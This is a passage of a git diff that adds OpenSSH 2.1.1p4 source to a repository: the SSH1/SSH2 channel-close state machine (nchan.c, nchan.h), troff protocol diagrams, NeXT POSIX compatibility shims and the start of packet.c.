(c->istate) { + case CHAN_INPUT_WAIT_DRAIN: + debug("channel %d: input drain -> wait_oclose", c->self); + chan_send_ieof1(c); + c->istate = CHAN_INPUT_WAIT_OCLOSE; + break; + default: + error("channel %d: internal error: chan_ibuf_empty for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_rcvd_ieof1(Channel *c) +{ + debug("channel %d: rcvd ieof", c->self); + if (c->type != SSH_CHANNEL_OPEN) { + debug("channel %d: non-open", c->self); + if (c->istate == CHAN_INPUT_OPEN) { + debug("channel %d: non-open: input open -> wait_oclose", c->self); + chan_shutdown_read(c); + chan_send_ieof1(c); + c->istate = CHAN_INPUT_WAIT_OCLOSE; + } else { + error("channel %d: istate %d != open", c->self, c->istate); + } + if (c->ostate == CHAN_OUTPUT_OPEN) { + debug("channel %d: non-open: output open -> closed", c->self); + chan_send_oclose1(c); + c->ostate = CHAN_OUTPUT_CLOSED; + } else { + error("channel %d: ostate %d != open", c->self, c->ostate); + } + return; + } + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + debug("channel %d: output open -> drain", c->self); + c->ostate = CHAN_OUTPUT_WAIT_DRAIN; + break; + case CHAN_OUTPUT_WAIT_IEOF: + debug("channel %d: output wait_ieof -> closed", c->self); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: protocol error: chan_rcvd_ieof for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_write_failed1(Channel *c) +{ + debug("channel %d: write failed", c->self); + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + debug("channel %d: output open -> wait_ieof", c->self); + chan_send_oclose1(c); + c->ostate = CHAN_OUTPUT_WAIT_IEOF; + break; + case CHAN_OUTPUT_WAIT_DRAIN: + debug("channel %d: output wait_drain -> closed", c->self); + chan_send_oclose1(c); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_write_failed for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_obuf_empty1(Channel *c) +{ + debug("channel %d: obuf empty", c->self); + if (buffer_len(&c->output)) { + error("channel %d: internal error: chan_obuf_empty for non empty buffer", + c->self); + return; + } + switch (c->ostate) { + case CHAN_OUTPUT_WAIT_DRAIN: + debug("channel %d: output drain -> closed", c->self); + chan_send_oclose1(c); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_obuf_empty for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_send_ieof1(Channel *c) +{ + debug("channel %d: send ieof", c->self); + switch (c->istate) { + case CHAN_INPUT_OPEN: + case CHAN_INPUT_WAIT_DRAIN: + packet_start(SSH_MSG_CHANNEL_INPUT_EOF); + packet_put_int(c->remote_id); + packet_send(); + break; + default: + error("channel %d: internal error: cannot send ieof for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_send_oclose1(Channel *c) +{ + debug("channel %d: send oclose", c->self); + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + case CHAN_OUTPUT_WAIT_DRAIN: + chan_shutdown_write(c); + buffer_consume(&c->output, buffer_len(&c->output)); + packet_start(SSH_MSG_CHANNEL_OUTPUT_CLOSE); + packet_put_int(c->remote_id); + packet_send(); + break; + default: + error("channel %d: internal error: cannot send oclose for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_delete_if_full_closed1(Channel *c) +{ + if (c->istate == CHAN_INPUT_CLOSED && c->ostate == CHAN_OUTPUT_CLOSED) { + debug("channel %d: full closed", c->self); + channel_free(c->self); + } +} + +/* + * the same for SSH2 + */ +static void +chan_rcvd_oclose2(Channel *c) +{ + debug("channel %d: rcvd close", c->self); + if (c->flags & CHAN_CLOSE_RCVD) + error("channel %d: protocol error: close rcvd twice", c->self); + c->flags |= CHAN_CLOSE_RCVD; + if (c->type == SSH_CHANNEL_LARVAL) { + /* tear down larval channels immediately */ + c->ostate = CHAN_OUTPUT_CLOSED; + c->istate = CHAN_INPUT_CLOSED; + return; + } + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + /* wait until a data from the channel is consumed if a CLOSE is received */ + debug("channel %d: output open -> drain", c->self); + c->ostate = CHAN_OUTPUT_WAIT_DRAIN; + break; + } + switch (c->istate) { + case CHAN_INPUT_OPEN: + debug("channel %d: input open -> closed", c->self); + chan_shutdown_read(c); + break; + case CHAN_INPUT_WAIT_DRAIN: + debug("channel %d: input drain -> closed", c->self); + chan_send_eof2(c); + break; + } + c->istate = CHAN_INPUT_CLOSED; +} +static void +chan_ibuf_empty2(Channel *c) +{ + debug("channel %d: ibuf empty", c->self); + if (buffer_len(&c->input)) { + error("channel %d: internal error: chan_ibuf_empty for non empty buffer", + c->self); + return; + } + switch (c->istate) { + case CHAN_INPUT_WAIT_DRAIN: + debug("channel %d: input drain -> closed", c->self); + if (!(c->flags & CHAN_CLOSE_SENT)) + chan_send_eof2(c); + c->istate = CHAN_INPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_ibuf_empty for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_rcvd_ieof2(Channel *c) +{ + debug("channel %d: rcvd eof", c->self); + if (c->ostate == CHAN_OUTPUT_OPEN) { + debug("channel %d: output open -> drain", c->self); + c->ostate = CHAN_OUTPUT_WAIT_DRAIN; + } +} +static void +chan_write_failed2(Channel *c) +{ + debug("channel %d: write failed", c->self); + switch (c->ostate) { + case CHAN_OUTPUT_OPEN: + debug("channel %d: output open -> closed", c->self); + chan_shutdown_write(c); /* ?? */ + c->ostate = CHAN_OUTPUT_CLOSED; + break; + case CHAN_OUTPUT_WAIT_DRAIN: + debug("channel %d: output drain -> closed", c->self); + chan_shutdown_write(c); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_write_failed for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_obuf_empty2(Channel *c) +{ + debug("channel %d: obuf empty", c->self); + if (buffer_len(&c->output)) { + error("internal error: chan_obuf_empty %d for non empty buffer", + c->self); + return; + } + switch (c->ostate) { + case CHAN_OUTPUT_WAIT_DRAIN: + debug("channel %d: output drain -> closed", c->self); + chan_shutdown_write(c); + c->ostate = CHAN_OUTPUT_CLOSED; + break; + default: + error("channel %d: internal error: chan_obuf_empty for ostate %d", + c->self, c->ostate); + break; + } +} +static void +chan_send_eof2(Channel *c) +{ + debug("channel %d: send eof", c->self); + switch (c->istate) { + case CHAN_INPUT_WAIT_DRAIN: + packet_start(SSH2_MSG_CHANNEL_EOF); + packet_put_int(c->remote_id); + packet_send(); + break; + default: + error("channel %d: internal error: cannot send eof for istate %d", + c->self, c->istate); + break; + } +} +static void +chan_send_close2(Channel *c) +{ + debug("channel %d: send close", c->self); + if (c->ostate != CHAN_OUTPUT_CLOSED || + c->istate != CHAN_INPUT_CLOSED) { + error("channel %d: internal error: cannot send close for istate/ostate %d/%d", + c->self, c->istate, c->ostate); + } else if (c->flags & CHAN_CLOSE_SENT) { + error("channel %d: internal error: already sent close", c->self); + } else { + packet_start(SSH2_MSG_CHANNEL_CLOSE); + packet_put_int(c->remote_id); + packet_send(); + c->flags |= CHAN_CLOSE_SENT; + } +} +static void +chan_delete_if_full_closed2(Channel *c) +{ + if (c->istate == CHAN_INPUT_CLOSED && c->ostate == CHAN_OUTPUT_CLOSED) { + if (!(c->flags & CHAN_CLOSE_SENT)) { + chan_send_close2(c); + } + if ((c->flags & CHAN_CLOSE_SENT) && + (c->flags & CHAN_CLOSE_RCVD)) { + debug("channel %d: full closed2", c->self); + channel_free(c->self); + } + } +} + +/* shared */ +void +chan_init_iostates(Channel *c) +{ + c->ostate = CHAN_OUTPUT_OPEN; + c->istate = CHAN_INPUT_OPEN; + c->flags = 0; +} + +/* init */ +void +chan_init(void) +{ + if (compat20) { + chan_rcvd_oclose = chan_rcvd_oclose2; + chan_read_failed = chan_read_failed_12; + chan_ibuf_empty = chan_ibuf_empty2; + + chan_rcvd_ieof = chan_rcvd_ieof2; + chan_write_failed = chan_write_failed2; + chan_obuf_empty = chan_obuf_empty2; + + chan_delete_if_full_closed = chan_delete_if_full_closed2; + } else { + chan_rcvd_oclose = chan_rcvd_oclose1; + chan_read_failed = chan_read_failed_12; + chan_ibuf_empty = chan_ibuf_empty1; + + chan_rcvd_ieof = chan_rcvd_ieof1; + chan_write_failed = chan_write_failed1; + chan_obuf_empty = chan_obuf_empty1; + + chan_delete_if_full_closed = chan_delete_if_full_closed1; + } +} + +/* helper */ +static void +chan_shutdown_write(Channel *c) +{ + buffer_consume(&c->output, buffer_len(&c->output)); + if (compat20 && c->type == SSH_CHANNEL_LARVAL) + return; + /* shutdown failure is allowed if write failed already */ + debug("channel %d: close_write", c->self); + if (c->sock != -1) { + if (shutdown(c->sock, SHUT_WR) < 0) + debug("channel %d: chan_shutdown_write: shutdown() failed for fd%d: %.100s", + c->self, c->sock, strerror(errno)); + } else { + if (close(c->wfd) < 0) + log("channel %d: chan_shutdown_write: close() failed for fd%d: %.100s", + c->self, c->wfd, strerror(errno)); + c->wfd = -1; + } +} +static void +chan_shutdown_read(Channel *c) +{ + if (compat20 && c->type == SSH_CHANNEL_LARVAL) + return; + debug("channel %d: close_read", c->self); + if (c->sock != -1) { + if (shutdown(c->sock, SHUT_RD) < 0) + error("channel %d: chan_shutdown_read: shutdown() failed for fd%d [i%d o%d]: %.100s", + c->self, c->sock, c->istate, c->ostate, strerror(errno)); + } else { + if (close(c->rfd) < 0) + log("channel %d: chan_shutdown_read: close() failed for fd%d: %.100s", + c->self, c->rfd, strerror(errno)); + c->rfd = -1; + } +} diff --git a/other/openssh-2.1.1p4/nchan.h b/other/openssh-2.1.1p4/nchan.h new file mode 100644 index 0000000..38205cf --- /dev/null +++ b/other/openssh-2.1.1p4/nchan.h @@ -0,0 +1,96 @@ +/* + * Copyright (c) 1999 Markus Friedl. All rights reserved. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by Markus Friedl. + * 4. The name of the author may not be used to endorse or promote products + * derived from this software without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR + * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES + * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. + * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, + * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT + * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, + * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY + * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT + * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF + * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. + */ + +/* RCSID("$OpenBSD: nchan.h,v 1.8 2000/06/20 01:39:43 markus Exp $"); */ + +#ifndef NCHAN_H +#define NCHAN_H + +/* + * SSH Protocol 1.5 aka New Channel Protocol + * Thanks to Martina, Axel and everyone who left Erlangen, leaving me bored. + * Written by Markus Friedl in October 1999 + * + * Protocol versions 1.3 and 1.5 differ in the handshake protocol used for the + * tear down of channels: + * + * 1.3: strict request-ack-protocol: + * CLOSE -> + * <- CLOSE_CONFIRM + * + * 1.5: uses variations of: + * IEOF -> + * <- OCLOSE + * <- IEOF + * OCLOSE -> + * i.e. both sides have to close the channel + * + * See the debugging output from 'ssh -v' and 'sshd -d' of + * ssh-1.2.27 as an example. + * + */ + +/* ssh-proto-1.5 overloads prot-1.3-message-types */ +#define SSH_MSG_CHANNEL_INPUT_EOF SSH_MSG_CHANNEL_CLOSE +#define SSH_MSG_CHANNEL_OUTPUT_CLOSE SSH_MSG_CHANNEL_CLOSE_CONFIRMATION + +/* possible input states */ +#define CHAN_INPUT_OPEN 0x01 +#define CHAN_INPUT_WAIT_DRAIN 0x02 +#define CHAN_INPUT_WAIT_OCLOSE 0x04 +#define CHAN_INPUT_CLOSED 0x08 + +/* possible output states */ +#define CHAN_OUTPUT_OPEN 0x10 +#define CHAN_OUTPUT_WAIT_DRAIN 0x20 +#define CHAN_OUTPUT_WAIT_IEOF 0x40 +#define CHAN_OUTPUT_CLOSED 0x80 + +#define CHAN_CLOSE_SENT 0x01 +#define CHAN_CLOSE_RCVD 0x02 + + +/* Channel EVENTS */ +typedef void chan_event_fn(Channel * c); + +/* for the input state */ +extern chan_event_fn *chan_rcvd_oclose; +extern chan_event_fn *chan_read_failed; +extern chan_event_fn *chan_ibuf_empty; + +/* for the output state */ +extern chan_event_fn *chan_rcvd_ieof; +extern chan_event_fn *chan_write_failed; +extern chan_event_fn *chan_obuf_empty; + +extern chan_event_fn *chan_delete_if_full_closed; + +void chan_init_iostates(Channel * c); +void chan_init(void); +#endif diff --git a/other/openssh-2.1.1p4/nchan.ms b/other/openssh-2.1.1p4/nchan.ms new file mode 100644 index 0000000..eb49cd3 --- /dev/null +++ b/other/openssh-2.1.1p4/nchan.ms @@ -0,0 +1,102 @@ +.\" +.\" Copyright (c) 1999 Markus Friedl. All rights reserved. +.\" +.\" Redistribution and use in source and binary forms, with or without +.\" modification, are permitted provided that the following conditions +.\" are met: +.\" 1. Redistributions of source code must retain the above copyright +.\" notice, this list of conditions and the following disclaimer. +.\" 2. Redistributions in binary form must reproduce the above copyright +.\" notice, this list of conditions and the following disclaimer in the +.\" documentation and/or other materials provided with the distribution. +.\" 3. All advertising materials mentioning features or use of this software +.\" must display the following acknowledgement: +.\" This product includes software developed by Markus Friedl. +.\" 4. The name of the author may not be used to endorse or promote products +.\" derived from this software without specific prior written permission. +.\" +.\" THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR +.\" IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES +.\" OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. +.\" IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, +.\" INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT +.\" NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, +.\" DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY +.\" THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +.\" (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF +.\" THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +.\" +.TL +OpenSSH Channel Close Protocol 1.5 Implementation +.SH +Channel Input State Diagram +.PS +reset +l=1 +s=1.2 +ellipsewid=s*ellipsewid +boxwid=s*boxwid +ellipseht=s*ellipseht +S1: ellipse "INPUT" "OPEN" +move right 2*l from last ellipse.e +S4: ellipse "INPUT" "CLOSED" +move down l from last ellipse.s +S3: ellipse "INPUT" "WAIT" "OCLOSED" +move down l from 1st ellipse.s +S2: ellipse "INPUT" "WAIT" "DRAIN" +arrow "" "rcvd OCLOSE/" "shutdown_read" "send IEOF" from S1.e to S4.w +arrow "ibuf_empty/" "send IEOF" from S2.e to S3.w +arrow from S1.s to S2.n +box invis "read_failed/" "shutdown_read" with .e at last arrow.c +arrow from S3.n to S4.s +box invis "rcvd OCLOSE/" "-" with .w at last arrow.c +ellipse wid .9*ellipsewid ht .9*ellipseht at S4 +arrow "start" "" from S1.w+(-0.5,0) to S1.w +arrow from S2.ne to S4.sw +box invis "rcvd OCLOSE/ " with .e at last arrow.c +box invis " send IEOF" with .w at last arrow.c +.PE +.SH +Channel Output State Diagram +.PS +S1: ellipse "OUTPUT" "OPEN" +move right 2*l from last ellipse.e +S3: ellipse "OUTPUT" "WAIT" "IEOF" +move down l from last ellipse.s +S4: ellipse "OUTPUT" "CLOSED" +move down l from 1st ellipse.s +S2: ellipse "OUTPUT" "WAIT" "DRAIN" +arrow "" "write_failed/" "shutdown_write" "send OCLOSE" from S1.e to S3.w +arrow "obuf_empty ||" "write_failed/" "shutdown_write" "send OCLOSE" from S2.e to S4.w +arrow from S1.s to S2.n +box invis "rcvd IEOF/" "-" with .e at last arrow.c +arrow from S3.s to S4.n +box invis "rcvd IEOF/" "-" with .w at last arrow.c +ellipse wid .9*ellipsewid ht .9*ellipseht at S4 +arrow "start" "" from S1.w+(-0.5,0) to S1.w +.PE +.SH +Notes +.PP +The input buffer is filled with data from the socket +(the socket represents the local consumer/producer of the +forwarded channel). +The data is then sent over the INPUT-end (transmit-end) of the channel to the +remote peer. +Data sent by the peer is received on the OUTPUT-end (receive-end), +saved in the output buffer and written to the socket. +.PP +If the local protocol instance has forwarded all data on the +INPUT-end of the channel, it sends an IEOF message to the peer. +If the peer receives the IEOF and has consumed all +data he replies with an OCLOSE. +When the local instance receives the OCLOSE +he considers the INPUT-half of the channel closed. +The peer has his OUTOUT-half closed. +.PP +A channel can be deallocated by a protocol instance +if both the INPUT- and the OUTOUT-half on his +side of the channel are closed. +Note that when an instance is unable to consume the +received data, he is permitted to send an OCLOSE +before the matching IEOF is received. diff --git a/other/openssh-2.1.1p4/nchan2.ms b/other/openssh-2.1.1p4/nchan2.ms new file mode 100644 index 0000000..1b119d1 --- /dev/null +++ b/other/openssh-2.1.1p4/nchan2.ms @@ -0,0 +1,64 @@ +.TL +OpenSSH Channel Close Protocol 2.0 Implementation +.SH +Channel Input State Diagram +.PS +reset +l=1 +s=1.2 +ellipsewid=s*ellipsewid +boxwid=s*boxwid +ellipseht=s*ellipseht +S1: ellipse "INPUT" "OPEN" +move right 2*l from last ellipse.e +S3: ellipse invis +move down l from last ellipse.s +S4: ellipse "INPUT" "CLOSED" +move down l from 1st ellipse.s +S2: ellipse "INPUT" "WAIT" "DRAIN" +arrow from S1.e to S4.n +box invis "rcvd CLOSE/" "shutdown_read" with .sw at last arrow.c +arrow "ibuf_empty ||" "rcvd CLOSE/" "send EOF" "" from S2.e to S4.w +arrow from S1.s to S2.n +box invis "read_failed/" "shutdown_read" with .e at last arrow.c +ellipse wid .9*ellipsewid ht .9*ellipseht at S4 +arrow "start" "" from S1.w+(-0.5,0) to S1.w +.PE +.SH +Channel Output State Diagram +.PS +S1: ellipse "OUTPUT" "OPEN" +move right 2*l from last ellipse.e +S3: ellipse invis +move down l from last ellipse.s +S4: ellipse "OUTPUT" "CLOSED" +move down l from 1st ellipse.s +S2: ellipse "OUTPUT" "WAIT" "DRAIN" +arrow from S1.e to S4.n +box invis "write_failed/" "shutdown_write" with .sw at last arrow.c +arrow "obuf_empty ||" "write_failed/" "shutdown_write" "" from S2.e to S4.w +arrow from S1.s to S2.n +box invis "rcvd EOF ||" "rcvd CLOSE/" "-" with .e at last arrow.c +ellipse wid .9*ellipsewid ht .9*ellipseht at S4 +arrow "start" "" from S1.w+(-0.5,0) to S1.w +.PE +.SH +Notes +.PP +The input buffer is filled with data from the socket +(the socket represents the local consumer/producer of the +forwarded channel). +The data is then sent over the INPUT-end (transmit-end) of the channel to the +remote peer. +Data sent by the peer is received on the OUTPUT-end (receive-end), +saved in the output buffer and written to the socket. +.PP +If the local protocol instance has forwarded all data on the +INPUT-end of the channel, it sends an EOF message to the peer. +.PP +A CLOSE message is sent to the peer if +both the INPUT- and the OUTOUT-half of the local +end of the channel are closed. +.PP +The channel can be deallocated by a protocol instance +if a CLOSE message he been both sent and received. diff --git a/other/openssh-2.1.1p4/next-posix.c b/other/openssh-2.1.1p4/next-posix.c new file mode 100644 index 0000000..0ca241f --- /dev/null +++ b/other/openssh-2.1.1p4/next-posix.c @@ -0,0 +1,104 @@ +#include "config.h" + +#ifdef HAVE_NEXT +#include +#include +#include +#include +#include + +#include +#include +#include + +#include +#include +#include +#include +#include +#include +#include + +#include "xmalloc.h" +#include "ssh.h" +#include "next-posix.h" + +int +waitpid(int pid, int *stat_loc, int options) +{ + if (pid <= 0) { + if (pid != -1) { + errno = EINVAL; + return -1; + } + pid = 0; /* wait4() expects pid=0 for indiscriminate wait. */ + } + return wait4(pid, (union wait *)stat_loc, options, NULL); +} + +pid_t setsid(void) +{ + return setpgrp(0, getpid()); +} + +int +tcgetattr(int fd, struct termios *t) +{ + return (ioctl(fd, TIOCGETA, t)); +} + +int +tcsetattr(int fd, int opt, const struct termios *t) +{ + struct termios localterm; + + if (opt & TCSASOFT) { + localterm = *t; + localterm.c_cflag |= CIGNORE; + t = &localterm; + } + switch (opt & ~TCSASOFT) { + case TCSANOW: + return (ioctl(fd, TIOCSETA, t)); + case TCSADRAIN: + return (ioctl(fd, TIOCSETAW, t)); + case TCSAFLUSH: + return (ioctl(fd, TIOCSETAF, t)); + default: + errno = EINVAL; + return (-1); + } +} + +int tcsetpgrp(int fd, pid_t pgrp) +{ + int s; + + s = pgrp; + return (ioctl(fd, TIOCSPGRP, &s)); +} + +speed_t cfgetospeed(const struct termios *t) +{ + return (t->c_ospeed); +} + +speed_t cfgetispeed(const struct termios *t) +{ + return (t->c_ispeed); +} + +int +cfsetospeed(struct termios *t,int speed) +{ + t->c_ospeed = speed; + return (0); +} + +int +cfsetispeed(struct termios *t, int speed) +{ + t->c_ispeed = speed; + return (0); +} +#endif /* HAVE_NEXT */ diff --git a/other/openssh-2.1.1p4/next-posix.h b/other/openssh-2.1.1p4/next-posix.h new file mode 100644 index 0000000..86683db --- /dev/null +++ b/other/openssh-2.1.1p4/next-posix.h @@ -0,0 +1,58 @@ +/* + * Defines and prototypes specific to NeXT system + */ + +#ifndef _NEXT_POSIX_H +#define _NEXT_POSIX_H + +#ifdef HAVE_NEXT + +#include +#include + +#define NAME_MAX 255 +struct dirent { + off_t d_off; + unsigned long d_fileno; + unsigned short d_reclen; + unsigned short d_namlen; + char d_name[NAME_MAX + 1]; +}; + +struct utimbuf { + time_t actime; + time_t modtime; +}; + +/* FILE */ +#define O_NONBLOCK 00004 /* non-blocking open */ + +/* WAITPID */ +#undef WIFEXITED +#undef WIFSTOPPED +#undef WIFSIGNALED + +#define _W_INT(w) (*(int*)&(w)) /* convert union wait to int */ +#define WIFEXITED(w) (!((_W_INT(w)) & 0377)) +#define WIFSTOPPED(w) ((_W_INT(w)) & 0100) +#define WIFSIGNALED(w) (!WIFEXITED(w) && !WIFSTOPPED(w)) +#define WEXITSTATUS(w) (int)(WIFEXITED(w) ? ((_W_INT(w) >> 8) & 0377) : -1) +#define WTERMSIG(w) (int)(WIFSIGNALED(w) ? (_W_INT(w) & 0177) : -1) +#define WCOREFLAG 0x80 +#define WCOREDUMP(w) ((_W_INT(w)) & WCOREFLAG) + +int waitpid(int pid,int *stat_loc,int options); +#define getpgrp() getpgrp(0) +pid_t setsid(void); + +/* TC */ +int tcgetattr(int fd,struct termios *t); +int tcsetattr(int fd,int opt,const struct termios *t); +int tcsetpgrp(int fd, pid_t pgrp); +speed_t cfgetospeed(const struct termios *t); +speed_t cfgetispeed(const struct termios *t); +int cfsetospeed(struct termios *t,int speed); + + +#endif /* HAVE_NEXT */ +#endif /* _NEXT_POSIX_H */ diff --git a/other/openssh-2.1.1p4/openbsd-compat.h b/other/openssh-2.1.1p4/openbsd-compat.h new file mode 100644 index 0000000..3802265 --- /dev/null +++ b/other/openssh-2.1.1p4/openbsd-compat.h @@ -0,0 +1,25 @@ +#ifndef _OPENBSD_H +#define _OPENBSD_H + +#include "config.h" + +/* BSD function replacements */ +#include "bsd-bindresvport.h" +#include "bsd-rresvport.h" +#include "bsd-misc.h" +#include "bsd-strlcpy.h" +#include "bsd-strlcat.h" +#include "bsd-mktemp.h" +#include "bsd-snprintf.h" +#include "bsd-daemon.h" +#include "bsd-base64.h" +#include "bsd-sigaction.h" +#include "bsd-inet_aton.h" +#include "bsd-strsep.h" + +/* rfc2553 socket API replacements */ +#include "fake-getaddrinfo.h" +#include "fake-getnameinfo.h" +#include "fake-socket.h" + +#endif /* _OPENBSD_H */ diff --git a/other/openssh-2.1.1p4/packet.c b/other/openssh-2.1.1p4/packet.c new file mode 100644 index 0000000..56080cb --- /dev/null +++ b/other/openssh-2.1.1p4/packet.c @@ -0,0 +1,1287 @@ +/* + * + * packet.c + * + * Author: Tatu Ylonen + * + * Copyright (c) 1995 Tatu Ylonen , Espoo, Finland + * All rights reserved + * + * Created: Sat Mar 18 02:40:40 1995 ylo + * + * This file contains code implementing the packet protocol and communication + * with the other side. This same code is used both on client and server side. + * + * SSH2 packet format added by Markus Friedl. + * + */ + +#include "includes.h" +RCSID("$OpenBSD: packet.c,v 1.33 2000/06/20 01:39:43 markus Exp $"); + +#include "xmalloc.h" +#include "buffer.h" +#include "packet.h" +#include "bufaux.h" +#include "ssh.h" +#include "crc32.h" +#include "cipher.h" +#include "getput.h" + +#include "compress.h" +#include "deattack.h" +#include "channels.h" + +#include "compat.h" +#include "ssh2.h" + +#include +#include +#include +#include "buffer.h" +#include "kex.h" +#include "hmac.h" + +#ifdef PACKET_DEBUG +#define DBG(x) x +#else +#define DBG(x) +#endif + +/* + * This variable contains the file descriptors used for communicating with + * the other side. connection_in is used for reading; connection_out for + * writing. These can be the same descriptor, in which case it is assumed to + * be a socket. + */ +static int connection_in = -1; +static int connection_out = -1; + +/* + * Cipher type. This value is only used to determine whether to pad the + * packets with zeroes or random data. + */ +static int cipher_type = SSH_CIPHER_NONE; + +/* Protocol flags for the remote side. */ +static unsigned int remote_protocol_flags = 0; + +/* Encryption context for receiving data. This is only used for decryption. */ +static CipherContext receive_context; + +/* Encryption context for sending data. This is only used for encryption. */ +static CipherContext send_context; + +/* Buffer for raw input data from the socket. */ +static Buffer input; + +/* Buffer for raw output data going to the socket. */ +static Buffer output; + +/* Buffer for the partial outgoing packet being constructed. */ +static Buffer outgoing_packet; + +/* Buffer for the incoming packet currently being processed. */ +static Buffer incoming_packet; + +/* Scratch buffer for packet compression/decompression. */ +static Buffer compression_buffer; + +/* Flag indicating whether packet compression/decompression is enabled. */ +static int packet_compression = 0; + +/* default maximum packet size */ +int max_packet_size = 32768; + +/* Flag indicating whether this module has been initialized. */ +static int initialized = 0; + +/* Set to true if the connection is interactive. */ +static int interactive_mode = 0; + +/* True if SSH2 packet format is used */ +int use_ssh2_packet_format = 0; + +/* Session key information for Encryption and MAC */ +Kex *kex = NULL; + +void +packet_set_kex(Kex *k) +{ + if( k->mac[MODE_IN ].key == NULL || + k->enc[MODE_IN ].key == NULL || + k->enc[MODE_IN ].iv == NULL || + k->mac[MODE_OUT].key == NULL || + k->enc[MODE_OUT].key == NULL || + k->enc[MODE_OUT].iv == NULL) + fatal("bad KEX"); + kex = k; +} +void +clear_enc_keys(Enc *enc, int len) +{ + memset(enc->iv, 0, len); + memset(enc->key, 0, len); + xfree(enc->iv); + xfree(enc->key); + enc->iv = NULL; + enc->key = NULL; +} +void +packet_set_ssh2_format(void) +{ + DBG(debug("use_ssh2_packet_format")); + use_ssh2_packet_format = 1; +} + +/* + * Sets the descriptors used for communication. Disables encryption until + * packet_set_encryption_key is called. + */ +void +packet_set_connection(int fd_in, int fd_out) +{ + connection_in = fd_in; + connection_out = fd_out; + cipher_type = SSH_CIPHER_NONE; + cipher_set_key(&send_context, SSH_CIPHER_NONE, (unsigned char *) "", 0); + cipher_set_key(&receive_context, SSH_CIPHER_NONE, (unsigned char *) "", 0); + if (!initialized) { + initialized = 1; + buffer_init(&input); + buffer_init(&output); + buffer_init(&outgoing_packet); + buffer_init(&incoming_packet); + } + /* Kludge: arrange the close function to be called from fatal(). */ + fatal_add_cleanup((void (*) (void *)) packet_close, NULL); +} + +/* Returns 1 if remote host is connected via socket, 0 if not. */ + +int +packet_connection_is_on_socket() +{ + struct sockaddr_storage from, to; + socklen_t fromlen, tolen; + + /* filedescriptors in and out are the same, so it's a socket */ + if (connection_in == connection_out) + return 1; + fromlen = sizeof(from); + memset(&from, 0, sizeof(from)); + if (getpeername(connection_in, (struct sockaddr *)&from, &fromlen) < 0) + return 0; + tolen = sizeof(to); + memset(&to, 0, sizeof(to)); + if (getpeername(connection_out, (struct sockaddr *)&to, &tolen) < 0) + return 0; + if (fromlen != tolen || memcmp(&from, &to, fromlen) != 0) + return 0; + if (from.ss_family != AF_INET && from.ss_family != AF_INET6) + return 0; + return 1; +} + +/* returns 1 if connection is via ipv4 */ + +int +packet_connection_is_ipv4() +{ + struct sockaddr_storage to; + socklen_t tolen = sizeof(to); + + memset(&to, 0, sizeof(to)); + if (getsockname(connection_out, (struct sockaddr *)&to, &tolen) < 0) + return 0; + if (to.ss_family != AF_INET) + return 0; + return 1; +} + +/* Sets the connection into non-blocking mode. */ + +void +packet_set_nonblocking() +{ + /* Set the socket into non-blocking mode. */ + if (fcntl(connection_in, F_SETFL, O_NONBLOCK) < 0) + error("fcntl O_NONBLOCK: %.100s", strerror(errno)); + + if (connection_out != connection_in) { + if (fcntl(connection_out, F_SETFL, O_NONBLOCK) < 0) + error("fcntl O_NONBLOCK: %.100s", strerror(errno)); + } +} + +/* Returns the socket used for reading. */ + +int +packet_get_connection_in() +{ + return connection_in; +} + +/* Returns the descriptor used for writing. */ + +int +packet_get_connection_out() +{ + return connection_out; +} + +/* Closes the connection and clears and frees internal data structures. */ + 